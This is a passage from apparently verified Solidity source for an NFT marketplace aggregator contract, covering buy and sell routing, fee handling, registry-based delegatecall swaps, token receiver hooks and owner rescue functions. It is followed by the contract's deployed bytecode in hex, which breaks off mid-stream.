IERC20(inputErc20Details.tokenAddrs[0]).transferFrom(msg.sender, MAINTAINER, FEES*inputErc20Details.amounts[0]/10000),
"buyNftForERC20: fees transfer failed"
);
// transfer the inputErc20 to the contract
require(
IERC20(inputErc20Details.tokenAddrs[0]).transferFrom(msg.sender, address(this), (10000-FEES)*inputErc20Details.amounts[0]/10000),
"buyNftForERC20: transfer failed"
);
// swap to desired assets if needed
for (uint256 i=0; i < swapDetails.length; i++) {
(address proxy, ) = exchangeRegistry.exchanges(swapDetails[i].exchangeId);
(bool success, ) = proxy.delegatecall(swapDetails[i].swapData);
require(success, "buyNftForERC20: swap failed.");
}
// buy NFTs
_buyNFT(buyDetails);
// Note: We know it as a fact that only input ERC20 can be the dust asset
// return remaining input ERC20
if(addrs[0] == inputErc20Details.tokenAddrs[0]) {
IERC20(inputErc20Details.tokenAddrs[0]).transfer(msg.sender, IERC20(inputErc20Details.tokenAddrs[0]).balanceOf(address(this)));
}
// return remaining ETH
else if(addrs[0] == ETH) {
(bool success, ) = addrs[1].delegatecall(abi.encodeWithSignature("swapExactERC20ForETH(address,address,uint256)", inputErc20Details.tokenAddrs[0], addrs[2], IERC20(inputErc20Details.tokenAddrs[0]).balanceOf(address(this))));
require(success, "buyNftForERC20: return failed.");
}
// return remaining ERC20
else {
(bool success, ) = addrs[1].delegatecall(abi.encodeWithSignature("swapExactERC20ForERC20(address,address,address,uint256)", inputErc20Details.tokenAddrs[0], addrs[0], addrs[2], IERC20(inputErc20Details.tokenAddrs[0]).balanceOf(address(this))));
require(success, "buyNftForERC20: return failed.");
}
}
function buyNftForEth(
MarketRegistry.BuyDetails[] memory buyDetails,
ExchangeRegistry.SwapDetails[] memory swapDetails,
address[] memory addrs // [changeIn, exchange, recipient]
) external payable {
bool success;
(success, ) = MAINTAINER.call{value:FEES*address(this).balance/10000}('');
require(success, "buyNftForEth: fees failed.");
// swap to desired assets if needed
for (uint256 i=0; i < swapDetails.length; i++) {
(address proxy, ) = exchangeRegistry.exchanges(swapDetails[i].exchangeId);
(success, ) = proxy.delegatecall(swapDetails[i].swapData);
require(success, "buyNftForEth: swap failed.");
}
// buy NFT
_buyNFT(buyDetails);
// Note: We know it as a fact that only Eth can be the dust asset
// return remaining ETH
if(addrs[0] == ETH) {
(success, ) = msg.sender.call{value:address(this).balance}('');
require(success, "buyNftForEth: return failed.");
}
// return remaining ERC20
else {
(success, ) = addrs[1].delegatecall(abi.encodeWithSignature("swapExactETHForERC20(address,address,uint256)", addrs[0], addrs[2], 0));
require(success, "buyNftForEth: return failed.");
}
}
function _sellNFT(
MarketRegistry.SellDetails[] memory _sellDetails
) internal returns(address[] memory erc20Addrs, uint256[] memory erc20Amounts) {
erc20Addrs = new address[](_sellDetails.length);
erc20Amounts = new uint256[](_sellDetails.length);
// sell ERC1155 assets to respective markets
for (uint256 i = 0; i < _sellDetails.length; i++) {
// fetch the market details
(, , address _proxy, bool _isActive) = marketRegistry.markets(_sellDetails[i].marketId);
// the market should be active
require(_isActive, "_sellNFT: InActive Market");
// sell the specified asset
(bool success, bytes memory data) = _proxy.delegatecall(_sellDetails[i].sellData);
// check if the delegatecall passed successfully
require(success, "_sellNFT: sell failed.");
// populate return values
(erc20Addrs[i], erc20Amounts[i]) = abi.decode(
data,
(address, uint256)
);
}
}
function _buyNFT(
MarketRegistry.BuyDetails[] memory _buyDetails
) internal {
for (uint256 i = 0; i < _buyDetails.length; i++) {
// get market details
(, , address _proxy, bool _isActive) = marketRegistry.markets(_buyDetails[i].marketId);
// market should be active
require(_isActive, "function: InActive Market");
// buy NFT with ETH or ERC20
(bool success, ) = _proxy.delegatecall(_buyDetails[i].buyData);
// check if the delegatecall passed successfully
require(success, "_buyNFT: buy failed.");
}
}
function _returnChange(
address _changeIn,
address _erc20AddrIn,
address _recipient,
address _proxy,
uint256 _erc20AmountIn
) internal {
bool success;
// in case desired changeIn is NOT the equivalent ERC20
if (_changeIn != _erc20AddrIn) {
// get market address
// (address proxy, ) = exchangeRegistry.exchanges(_exchangeId);
// in case input asset is ETH
if(_erc20AddrIn == ETH) {
(success, ) = _proxy.delegatecall(abi.encodeWithSignature("swapExactETHForERC20(address,address,uint256)", _changeIn, _recipient, 0));
require(success, "_returnChange: return failed.");
}
// in case changeIn is ETH
else if(_changeIn == ETH) {
// Convert all the _erc20Amount to _changeIn ERC20
(success, ) = _proxy.delegatecall(abi.encodeWithSignature("swapExactERC20ForETH(address,address,uint256)", _erc20AddrIn, _recipient, _erc20AmountIn));
require(success, "_returnChange: return failed.");
}
// in case changeIn is some other ERC20
else {
// execute exchange
(success, ) = _proxy.delegatecall(abi.encodeWithSignature("swapExactERC20ForERC20(address,address,address,uint256)", _erc20AddrIn, _changeIn, _recipient, _erc20AmountIn));
require(success, "_returnChange: return failed.");
}
}
// in case desired changeIn is the equivalent ERC20
else {
IERC20(_changeIn).transfer(_recipient, _erc20AmountIn);
}
}
function _swap(
ExchangeRegistry.SwapDetails[] memory _swapDetails,
MarketRegistry.BuyDetails[] memory _buyDetails,
uint256[] memory _erc20AmountsIn,
address[] memory _erc20AddrsIn,
address _changeIn,
address _exchange,
address _recipient
) internal {
bool success;
// in case user does NOT want to buy any NFTs
if(_buyDetails.length == 0) {
for(uint256 i = 0; i < _erc20AddrsIn.length; i++) {
_returnChange(
_changeIn,
_erc20AddrsIn[i],
_recipient,
_exchange,
_erc20AmountsIn[i]
);
}
}
// in case user wants to buy NFTs
else {
for (uint256 i = 0; i < _swapDetails.length; i++) {
// get market address
(address proxy, ) = exchangeRegistry.exchanges(_swapDetails[i].exchangeId);
// execute swap
(success, ) = proxy.delegatecall(_swapDetails[i].swapData);
require(success, "_swap: swap failed.");
}
// buy the NFTs
_buyNFT(_buyDetails);
// return remaining amount to the user
for (uint256 i = 0; i < _erc20AddrsIn.length; i++) {
_returnChange(
_changeIn,
_erc20AddrsIn[i],
_recipient,
_exchange,
_erc20AddrsIn[i] == ETH
? address(this).balance
: IERC20(_erc20AddrsIn[i]).balanceOf(address(this))
);
}
}
}
function _executeSingleTrxSwap(
bytes memory _data,
address _from
) internal {
// decode the trade details
MarketRegistry.SellDetails[] memory _sellDetails;
ExchangeRegistry.SwapDetails[] memory _swapDetails;
MarketRegistry.BuyDetails[] memory _buyDetails;
address[] memory addrs; // [changeIn, exchange, recipient]
(_sellDetails, _swapDetails, _buyDetails, addrs) = abi.decode(
_data,
(MarketRegistry.SellDetails[], ExchangeRegistry.SwapDetails[], MarketRegistry.BuyDetails[], address[])
);
// _sellDetails should not be empty
require(_sellDetails.length > 0, "_executeSingleTrxSwap: no sell details");
// if recipient is zero address, then set _from as recipient
if(addrs[2] == address(0)) {
addrs[2] = _from;
}
// sell input assets
(address[] memory _erc20AddrsIn, uint256[] memory _erc20AmountsIn) = _sellNFT(_sellDetails);
// swap ERC20 equivalents to desired intermediate assets
_swap(_swapDetails, _buyDetails, _erc20AmountsIn, _erc20AddrsIn, addrs[0], addrs[1], addrs[2]);
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) public virtual returns (bytes4) {
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address _from,
uint256[] calldata,
uint256[] calldata,
bytes calldata _data
) public virtual returns (bytes4) {
// return with function selector if data is empty
if(keccak256(abi.encodePacked((_data))) == keccak256(abi.encodePacked(("")))) {
return this.onERC1155BatchReceived.selector;
}
// execute single transaction swap
_executeSingleTrxSwap(_data, _from);
// return the function selector
return this.onERC1155BatchReceived.selector;
}
function onERC721Received(
address,
address _from,
uint256 _tokenId,
bytes calldata _data
) external virtual returns (bytes4) {
// return with function selector if data is empty
if(keccak256(abi.encodePacked((_data))) == keccak256(abi.encodePacked(("")))) {
return this.onERC721Received.selector;
}
// execute single transaction swap
_executeSingleTrxSwap(_data, _from);
return this.onERC721Received.selector;
}
function supportsInterface(bytes4 interfaceId)
external
virtual
view
returns (bool)
{
return interfaceId == this.supportsInterface.selector;
}
receive() external payable {}
// Emergency function: In case any ERC20 tokens get stuck in the contract unintentionally
// Only owner can retrieve the asset balance to a recipient address
function rescueERC20(address asset, address recipient) onlyOwner external returns(uint256 amountRescued) {
amountRescued = IERC20(asset).balanceOf(address(this));
IERC20(asset).transfer(recipient, amountRescued);
}
// Emergency function: In case any ERC721 tokens get stuck in the contract unintentionally
// Only owner can retrieve the asset balance to a recipient address
function rescueERC721(address asset, uint256[] calldata ids, address recipient) onlyOwner external {
for (uint256 i = 0; i < ids.length; i++) {
IERC721(asset).transferFrom(address(this), recipient, ids[i]);
}
}
// Emergency function: In case any ERC1155 tokens get stuck in the contract unintentionally
// Only owner can retrieve the asset balance to a recipient address
function rescueERC1155(address asset, uint256[] calldata ids, uint256[] calldata amounts, address recipient) onlyOwner external {
for (uint256 i = 0; i < ids.length; i++) {
IERC1155(asset).safeTransferFrom(address(this), recipient, ids[i], amounts[i], "");
}
}
} | 0x6080604052600436106101185760003560e01c80638b7b23ee116100a0578063de53b14611610064578063de53b146146102e1578063ecb96fe6146102f4578063f09b60cb14610309578063f23a6e611461031c578063f2fde38b1461033c5761011f565b80638b7b23ee146102575780638da5cb5b1461026c578063945ac45e14610281578063b7ce33a2146102a1578063bc197c81146102c15761011f565b80634407ea17116100e75780634407ea17146101cb5780635d799f87146101e0578063715018a61461020d57806378dacee1146102225780638322fff2146102425761011f565b806301ffc9a714610124578063150b7a021461015a57806326e2dca2146101875780632aabb726146101a95761011f565b3661011f57005b600080fd5b34801561013057600080fd5b5061014461013f366004613815565b61035c565b6040516101519190613b55565b60405180910390f35b34801561016657600080fd5b5061017a61017536600461340d565b610376565b6040516101519190613b60565b34801561019357600080fd5b506101a76101a23660046134f6565b61042e565b005b3480156101b557600080fd5b506101be610523565b6040516101519190613a24565b3480156101d757600080fd5b506101be61053b565b3480156101ec57600080fd5b506102006101fb36600461331b565b61054a565b6040516101519190613f60565b34801561021957600080fd5b506101a7610691565b34801561022e57600080fd5b506101a761023d36600461398b565b61071a565b34801561024e57600080fd5b506101be610752565b34801561026357600080fd5b5061020061076a565b34801561027857600080fd5b506101be610770565b34801561028d57600080fd5b506101a761029c3660046136a3565b61077f565b3480156102ad57600080fd5b506101a76102bc36600461355b565b611134565b3480156102cd57600080fd5b5061017a6102dc366004613353565b61124a565b6101a76102ef366004613620565b611305565b34801561030057600080fd5b506101be611739565b6101a761031736600461389e565b611748565b34801561032857600080fd5b5061017a61033736600461347d565b6117ef565b34801561034857600080fd5b506101a76103573660046132d2565b611801565b6001600160e01b031981166301ffc9a760e01b145b919050565b600060405160200161038790613a21565b6040516020818303038152906040528051906020012083836040516020016103b09291906139f5565b6040516020818303038152906040528051906020012014156103da5750630a85bd0160e11b610425565b61041b83838080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508992506118c1915050565b50630a85bd0160e11b5b95945050505050565b6104366119c1565b6001600160a01b0316610447610770565b6001600160a01b0316146104765760405162461bcd60e51b815260040161046d90613e1d565b60405180910390fd5b60005b8281101561051c57846001600160a01b03166323b872dd30848787868181106104b257634e487b7160e01b600052603260045260246000fd5b905060200201356040518463ffffffff1660e01b81526004016104d793929190613ae0565b600060405180830381600087803b1580156104f157600080fd5b505af1158015610505573d6000803e3d6000fd5b50505050808061051490614076565b915050610479565b5050505050565b73073ab1c0cad3677cde9bdb0cdeedc2085c02957981565b6002546001600160a01b031681565b60006105546119c1565b6001600160a01b0316610565610770565b6001600160a01b03161461058b5760405162461bcd60e51b815260040161046d90613e1d565b6040516370a0823160e01b81526001600160a01b038416906370a08231906105b7903090600401613a24565b60206040518083038186803b1580156105cf57600080fd5b505afa1580156105e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060791906139a3565b60405163a9059cbb60e01b81529091506001600160a01b0384169063a9059cbb906106389085908590600401613b3c565b602060405180830381600087803b15801561065257600080fd5b505af1158015610666573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068a91906137fb565b5092915050565b6106996119c1565b6001600160a01b03166106aa610770565b6001600160a01b0316146106d05760405162461bcd60e51b815260040161046d90613e1d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b3373073ab1c0cad3677cde9bdb0cdeedc2085c0295791461074d5760405162461bcd60e51b815260040161046d90613c38565b600355565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b60035481565b6000546001600160a01b031690565b815180516000906107a057634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166323b872dd3373073ab1c0cad3677cde9bdb0cdeedc2085c02957961271086602001516000815181106107f457634e487b7160e01b600052603260045260246000fd5b60200260200101516003546108099190614014565b6108139190613ff4565b6040518463ffffffff1660e01b815260040161083193929190613ae0565b602060405180830381600087803b15801561084b57600080fd5b505af115801561085f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088391906137fb565b61089f5760405162461bcd60e51b815260040161046d90613eb7565b815180516000906108c057634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166323b872dd3330612710866020015160008151811061090057634e487b7160e01b600052603260045260246000fd5b60200260200101516003546127106109189190614033565b6109229190614014565b61092c9190613ff4565b6040518463ffffffff1660e01b815260040161094a93929190613ae0565b602060405180830381600087803b15801561096457600080fd5b505af1158015610978573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099c91906137fb565b6109b85760405162461bcd60e51b815260040161046d90613d41565b60005b8351811015610b315760025484516000916001600160a01b031690632839fc29908790859081106109fc57634e487b7160e01b600052603260045260246000fd5b6020026020010151600001516040518263ffffffff1660e01b8152600401610a249190613f60565b604080518083038186803b158015610a3b57600080fd5b505afa158015610a4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7391906135ec565b5090506000816001600160a01b0316868481518110610aa257634e487b7160e01b600052603260045260246000fd5b602002602001015160200151604051610abb9190613a05565b600060405180830381855af49150503d8060008114610af6576040519150601f19603f3d011682016040523d82523d6000602084013e610afb565b606091505b5050905080610b1c5760405162461bcd60e51b815260040161046d90613e80565b50508080610b2990614076565b9150506109bb565b50610b3b846119c5565b81518051600090610b5c57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b031681600081518110610b8e57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03161415610cfa5781518051600090610bc657634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b031663a9059cbb338460000151600081518110610c0257634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b8152600401610c359190613a24565b60206040518083038186803b158015610c4d57600080fd5b505afa158015610c61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8591906139a3565b6040518363ffffffff1660e01b8152600401610ca2929190613b3c565b602060405180830381600087803b158015610cbc57600080fd5b505af1158015610cd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf491906137fb565b5061112e565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6001600160a01b031681600081518110610d3957634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03161415610f2a57600081600181518110610d7357634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03168360000151600081518110610da957634e487b7160e01b600052603260045260246000fd5b602002602001015183600281518110610dd257634e487b7160e01b600052603260045260246000fd5b60200260200101518560000151600081518110610dff57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b8152600401610e329190613a24565b60206040518083038186803b158015610e4a57600080fd5b505afa158015610e5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8291906139a3565b604051602401610e9493929190613ae0565b60408051601f198184030181529181526020820180516001600160e01b0316633aa6c28760e11b17905251610ec99190613a05565b600060405180830381855af49150503d8060008114610f04576040519150601f19603f3d011682016040523d82523d6000602084013e610f09565b606091505b5050905080610cf45760405162461bcd60e51b815260040161046d90613daf565b600081600181518110610f4d57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03168360000151600081518110610f8357634e487b7160e01b600052603260045260246000fd5b602002602001015183600081518110610fac57634e487b7160e01b600052603260045260246000fd5b602002602001015184600281518110610fd557634e487b7160e01b600052603260045260246000fd5b6020026020010151866000015160008151811061100257634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016110359190613a24565b60206040518083038186803b15801561104d57600080fd5b505afa158015611061573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108591906139a3565b6040516024016110989493929190613a38565b60408051601f198184030181529181526020820180516001600160e01b03166343405abd60e11b179052516110cd9190613a05565b600060405180830381855af49150503d8060008114611108576040519150601f19603f3d011682016040523d82523d6000602084013e61110d565b606091505b505090508061051c5760405162461bcd60e51b815260040161046d90613daf565b50505050565b61113c6119c1565b6001600160a01b031661114d610770565b6001600160a01b0316146111735760405162461bcd60e51b815260040161046d90613e1d565b60005b8481101561124157866001600160a01b031663f242432a30848989868181106111af57634e487b7160e01b600052603260045260246000fd5b905060200201358888878181106111d657634e487b7160e01b600052603260045260246000fd5b905060200201356040518563ffffffff1660e01b81526004016111fc9493929190613b04565b600060405180830381600087803b15801561121657600080fd5b505af115801561122a573d6000803e3d6000fd5b50505050808061123990614076565b915050611176565b50505050505050565b600060405160200161125b90613a21565b6040516020818303038152906040528051906020012083836040516020016112849291906139f5565b6040516020818303038152906040528051906020012014156112ae575063bc197c8160e01b6112f9565b6112ef83838080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c92506118c1915050565b5063bc197c8160e01b5b98975050505050505050565b600073073ab1c0cad3677cde9bdb0cdeedc2085c0295796001600160a01b0316612710476003546113369190614014565b6113409190613ff4565b60405161134c90613a21565b60006040518083038185875af1925050503d8060008114611389576040519150601f19603f3d011682016040523d82523d6000602084013e61138e565b606091505b505080915050806113b15760405162461bcd60e51b815260040161046d90613de6565b60005b83518110156115285760025484516000916001600160a01b031690632839fc29908790859081106113f557634e487b7160e01b600052603260045260246000fd5b6020026020010151600001516040518263ffffffff1660e01b815260040161141d9190613f60565b604080518083038186803b15801561143457600080fd5b505afa158015611448573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061146c91906135ec565b509050806001600160a01b031685838151811061149957634e487b7160e01b600052603260045260246000fd5b6020026020010151602001516040516114b29190613a05565b600060405180830381855af49150503d80600081146114ed576040519150601f19603f3d011682016040523d82523d6000602084013e6114f2565b606091505b505080935050826115155760405162461bcd60e51b815260040161046d90613b75565b508061152081614076565b9150506113b4565b50611532846119c5565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6001600160a01b03168260008151811061157157634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316141561160957336001600160a01b03164760405161159f90613a21565b60006040518083038185875af1925050503d80600081146115dc576040519150601f19603f3d011682016040523d82523d6000602084013e6115e1565b606091505b505080915050806116045760405162461bcd60e51b815260040161046d90613c9c565b61112e565b8160018151811061162a57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03168260008151811061165c57634e487b7160e01b600052603260045260246000fd5b60200260200101518360028151811061168557634e487b7160e01b600052603260045260246000fd5b602002602001015160006040516024016116a193929190613aba565b60408051601f198184030181529181526020820180516001600160e01b03166335771d3360e11b179052516116d69190613a05565b600060405180830381855af49150503d8060008114611711576040519150601f19603f3d011682016040523d82523d6000602084013e611716565b606091505b5050809150508061112e5760405162461bcd60e51b815260040161046d90613c9c565b6001546001600160a01b031681565b606080611756888888611b68565b80925081935050506117e5848683858760008151811061178657634e487b7160e01b600052603260045260246000fd5b6020026020010151886001815181106117af57634e487b7160e01b600052603260045260246000fd5b6020026020010151896002815181106117d857634e487b7160e01b600052603260045260246000fd5b60200260200101516123c8565b5050505050505050565b63f23a6e6160e01b9695505050505050565b6118096119c1565b6001600160a01b031661181a610770565b6001600160a01b0316146118405760405162461bcd60e51b815260040161046d90613e1d565b6001600160a01b0381166118665760405162461bcd60e51b815260040161046d90613bf2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b606080606080858060200190518101906118db919061374a565b8351939750919550935091506119035760405162461bcd60e51b815260040161046d90613bac565b60006001600160a01b03168160028151811061192f57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316141561198957848160028151811061196857634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250505b6000806119958661272e565b915091506117e5858583858760008151811061178657634e487b7160e01b600052603260045260246000fd5b3390565b60005b8151811015611b6457600154825160009182916001600160a01b039091169063b1283e7790869086908110611a0d57634e487b7160e01b600052603260045260246000fd5b6020026020010151600001516040518263ffffffff1660e01b8152600401611a359190613f60565b60806040518083038186803b158015611a4d57600080fd5b505afa158015611a61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a85919061383d565b93509350505080611aa85760405162461bcd60e51b815260040161046d90613d78565b6000826001600160a01b0316858581518110611ad457634e487b7160e01b600052603260045260246000fd5b602002602001015160200151604051611aed9190613a05565b600060405180830381855af49150503d8060008114611b28576040519150601f19603f3d011682016040523d82523d6000602084013e611b2d565b606091505b5050905080611b4e5760405162461bcd60e51b815260040161046d90613e52565b5050508080611b5c90614076565b9150506119c8565b5050565b60608060608060608060005b895151811015611c82578951805182908110611ba057634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166323b872dd33308d602001518581518110611bdc57634e487b7160e01b600052603260045260246000fd5b60200260200101516040518463ffffffff1660e01b8152600401611c0293929190613ae0565b602060405180830381600087803b158015611c1c57600080fd5b505af1158015611c30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c5491906137fb565b611c705760405162461bcd60e51b815260040161046d90613f2b565b80611c7a81614076565b915050611b74565b5060005b8851811015611e045760005b898281518110611cb257634e487b7160e01b600052603260045260246000fd5b60200260200101516020015151811015611db857898281518110611ce657634e487b7160e01b600052603260045260246000fd5b6020026020010151600001516001600160a01b03166323b872dd33308d8681518110611d2257634e487b7160e01b600052603260045260246000fd5b6020026020010151602001518581518110611d4d57634e487b7160e01b600052603260045260246000fd5b60200260200101516040518463ffffffff1660e01b8152600401611d7393929190613ae0565b600060405180830381600087803b158015611d8d57600080fd5b505af1158015611da1573d6000803e3d6000fd5b505050508080611db090614076565b915050611c92565b50611ded898281518110611ddc57634e487b7160e01b600052603260045260246000fd5b60200260200101516040015161272e565b909550925080611dfc81614076565b915050611c86565b5060005b8751811015611f4157878181518110611e3157634e487b7160e01b600052603260045260246000fd5b6020026020010151600001516001600160a01b0316632eb2c2d633308b8581518110611e6d57634e487b7160e01b600052603260045260246000fd5b6020026020010151602001518c8681518110611e9957634e487b7160e01b600052603260045260246000fd5b6020026020010151604001516040518563ffffffff1660e01b8152600401611ec49493929190613a62565b600060405180830381600087803b158015611ede57600080fd5b505af1158015611ef2573d6000803e3d6000fd5b50505050611f2a888281518110611f1957634e487b7160e01b600052603260045260246000fd5b60200260200101516060015161272e565b909450915080611f3981614076565b915050611e08565b506000803411611f6b57835185518b5151611f5c9190613fdc565b611f669190613fdc565b611f91565b835185518b5151611f7c9190613fdc565b611f869190613fdc565b611f91906001613fdc565b9050806001600160401b03811115611fb957634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015611fe2578160200160208202803683370190505b509650806001600160401b0381111561200b57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015612034578160200160208202803683370190505b50955034156120cc5773eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee8761205e600184614033565b8151811061207c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039092166020928302919091019091015234866120a1600184614033565b815181106120bf57634e487b7160e01b600052603260045260246000fd5b6020026020010181815250505b60005b8a51518110156121a2578a518051829081106120fb57634e487b7160e01b600052603260045260246000fd5b602002602001015188828151811061212357634e487b7160e01b600052603260045260246000fd5b6001600160a01b039092166020928302919091018201528b015180518290811061215d57634e487b7160e01b600052603260045260246000fd5b602002602001015187828151811061218557634e487b7160e01b600052603260045260246000fd5b60209081029190910101528061219a81614076565b9150506120cf565b508951516121b290600190614033565b905060005b85518110156122ad578581815181106121e057634e487b7160e01b600052603260045260246000fd5b602002602001015188828d60000151516121fa9190613fdc565b8151811061221857634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b03168152505083818151811061225857634e487b7160e01b600052603260045260246000fd5b602002602001015187828d60000151516122729190613fdc565b8151811061229057634e487b7160e01b600052603260045260246000fd5b6020908102919091010152806122a581614076565b9150506121b7565b5084518a51516001916122bf91613fdc565b6122c99190614033565b905060005b84518110156123ba578481815181106122f757634e487b7160e01b600052603260045260246000fd5b602002602001015188828461230c9190613fdc565b8151811061232a57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b03168152505082818151811061236a57634e487b7160e01b600052603260045260246000fd5b602002602001015187828461237f9190613fdc565b8151811061239d57634e487b7160e01b600052603260045260246000fd5b6020908102919091010152806123b281614076565b9150506122ce565b505050505050935093915050565b60008651600014156124535760005b855181101561244d5761243b8587838151811061240457634e487b7160e01b600052603260045260246000fd5b602002602001015185878b868151811061242e57634e487b7160e01b600052603260045260246000fd5b60200260200101516129fd565b8061244581614076565b9150506123d7565b506117e5565b60005b88518110156125ca5760025489516000916001600160a01b031690632839fc29908c908590811061249757634e487b7160e01b600052603260045260246000fd5b6020026020010151600001516040518263ffffffff1660e01b81526004016124bf9190613f60565b604080518083038186803b1580156124d657600080fd5b505afa1580156124ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061250e91906135ec565b509050806001600160a01b03168a838151811061253b57634e487b7160e01b600052603260045260246000fd5b6020026020010151602001516040516125549190613a05565b600060405180830381855af49150503d806000811461258f576040519150601f19603f3d011682016040523d82523d6000602084013e612594565b606091505b505080935050826125b75760405162461bcd60e51b815260040161046d90613c6f565b50806125c281614076565b915050612456565b506125d4876119c5565b60005b8551811015612723576127118587838151811061260457634e487b7160e01b600052603260045260246000fd5b6020026020010151858773eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6001600160a01b03168b878151811061264c57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03161461270a578a868151811061268257634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016126b59190613a24565b60206040518083038186803b1580156126cd57600080fd5b505afa1580156126e1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061270591906139a3565b61270c565b475b6129fd565b8061271b81614076565b9150506125d7565b505050505050505050565b60608082516001600160401b0381111561275857634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015612781578160200160208202803683370190505b50915082516001600160401b038111156127ab57634e487b7160e01b600052604160045260246000fd5b6040519080825280602002602001820160405280156127d4578160200160208202803683370190505b50905060005b83518110156129f757600154845160009182916001600160a01b039091169063b1283e779088908690811061281f57634e487b7160e01b600052603260045260246000fd5b6020026020010151600001516040518263ffffffff1660e01b81526004016128479190613f60565b60806040518083038186803b15801561285f57600080fd5b505afa158015612873573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612897919061383d565b935093505050806128ba5760405162461bcd60e51b815260040161046d90613d0a565b600080836001600160a01b03168886815181106128e757634e487b7160e01b600052603260045260246000fd5b6020026020010151602001516040516129009190613a05565b600060405180830381855af49150503d806000811461293b576040519150601f19603f3d011682016040523d82523d6000602084013e612940565b606091505b5091509150816129625760405162461bcd60e51b815260040161046d90613efb565b8080602001905181019061297691906132ee565b88878151811061299657634e487b7160e01b600052603260045260246000fd5b602002602001018888815181106129bd57634e487b7160e01b600052603260045260246000fd5b6020026020010182815250826001600160a01b03166001600160a01b031681525050505050505080806129ef90614076565b9150506127da565b50915091565b6000846001600160a01b0316866001600160a01b031614612c31576001600160a01b03851673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415612afa57826001600160a01b031686856000604051602401612a5d93929190613aba565b60408051601f198184030181529181526020820180516001600160e01b03166335771d3360e11b17905251612a929190613a05565b600060405180830381855af49150503d8060008114612acd576040519150601f19603f3d011682016040523d82523d6000602084013e612ad2565b606091505b50508091505080612af55760405162461bcd60e51b815260040161046d90613cd3565b612c2c565b6001600160a01b03861673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415612b7357826001600160a01b0316858584604051602401612b3e93929190613ae0565b60408051601f198184030181529181526020820180516001600160e01b0316633aa6c28760e11b17905251612a929190613a05565b826001600160a01b031685878685604051602401612b949493929190613a38565b60408051601f198184030181529181526020820180516001600160e01b03166343405abd60e11b17905251612bc99190613a05565b600060405180830381855af49150503d8060008114612c04576040519150601f19603f3d011682016040523d82523d6000602084013e612c09565b606091505b50508091505080612c2c5760405162461bcd60e51b815260040161046d90613cd3565b612cb1565b60405163a9059cbb60e01b81526001600160a01b0387169063a9059cbb90612c5f9087908690600401613b3c565b602060405180830381600087803b158015612c7957600080fd5b505af1158015612c8d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124191906137fb565b505050505050565b6000612ccc612cc784613f92565b613f69565b83815290506020808201908360005b86811015612d945781518601604080828b031215612cf857600080fd5b80518181016001600160401b038282108183111715612d1957612d196140a7565b8184528451835287850151935080841115612d3357600080fd5b505081830192508a601f840112612d4957600080fd5b82519150612d59612cc783613fb5565b8281528b87848601011115612d6d57600080fd5b612d7c8388830189870161404a565b81870152865250509282019290820190600101612cdb565b505050509392505050565b8035610371816140bd565b600082601f830112612dba578081fd5b813560